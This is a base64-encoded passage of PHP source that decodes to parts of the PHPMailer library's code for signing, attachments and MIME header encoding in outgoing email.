25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91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tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWV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XRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVk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tYWdpY19xdW90ZXNfcnVudGltZScsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHJlcXVlc3RlZCBmb3JtYXQuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgVGhlIGVuY29kaW5nIHRvIHVzZTsgb25lIG9mICdiYXNlNjQnLCAnN2JpdCcsICc4Yml0JywgJ2JpbmFyeScsICdxdW90ZWQtcHJpbnRhYmxlJwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlICdiYXNlNjQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICc3Yml0JzoKICAgICAgICAgICAgY2FzZSAnOGJpdCc6CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5maXhFT0woJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiaW5hcnknOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHN0cmluZyBvcHRpbWFsbHkuCiAgICAgKiBQaWNrcyBzaG9ydGVzdCBvZiBRLCBCLCBxdW90ZWQtcHJpbnRhYmxlIG9yIG5vbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpICYmICFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy9UaGVyZSBhcmUgbm8gY2hhcnMgdGhhdCBuZWVkIGVuY29kaW5nCiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsKICAgICAgICB9CgogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgIC8vIFRyeSB0byBzZWxlY3QgdGhlIGVuY29kaW5nIHdoaWN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biBhbnkgOC1iaXQgY2hhcnMgKGluIGFueSBjaGFyc2V0KT8KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYi1lbmNvZGUtbWltZWhlYWRlci5waHAjNjAyODMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgbXVsdGktYnl0ZSB0ZXh0IHRvIHdyYXAgZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsaW5lYnJlYWsgc3RyaW5nIHRvIHVzZSBhcyBsaW5lZmVlZC9lbmQtb2YtbGluZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAkbGluZWJyZWFrID0gbnVsbCkKICAgIHsKICAgICAgICAkc3RhcnQgPSAnPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAnP0I/JzsKICAgICAgICAkZW5kID0gJz89JzsKICAgICAgICAkZW5jb2RlZCA9ICcnOwogICAgICAgIGlmICgkbGluZWJyZWFrID09PSBudWxsKSB7CiAgICAgICAgICAgICRsaW5lYnJlYWsgPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAgICAgICAkbG9va0JhY2sgPSAwOwogICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAkb2Zmc2V0ID0gJGF2Z0xlbmd0aCAtICRsb29rQmFjazsKICAgICAgICAgICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOwogICAgICAgICAgICAgICAgJGxvb2tCYWNrKys7CiAgICAgICAgICAgIH0gd2hpbGUgKHN0cmxlbigkY2h1bmspID4gJGxlbmd0aCk7CiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7CiAgICAgICAgfQoKICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZAogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKCRlbmNvZGVkLCAw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xpbWl0ZXJzIGFuZCBbXQogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4xCiAgICAgICAgICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IGhpZ2ggYXNjaWksIGNvbnRyb2wsID0sID8gYW5kIF8gY2hhcmFjdGVycwogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJ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CiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogI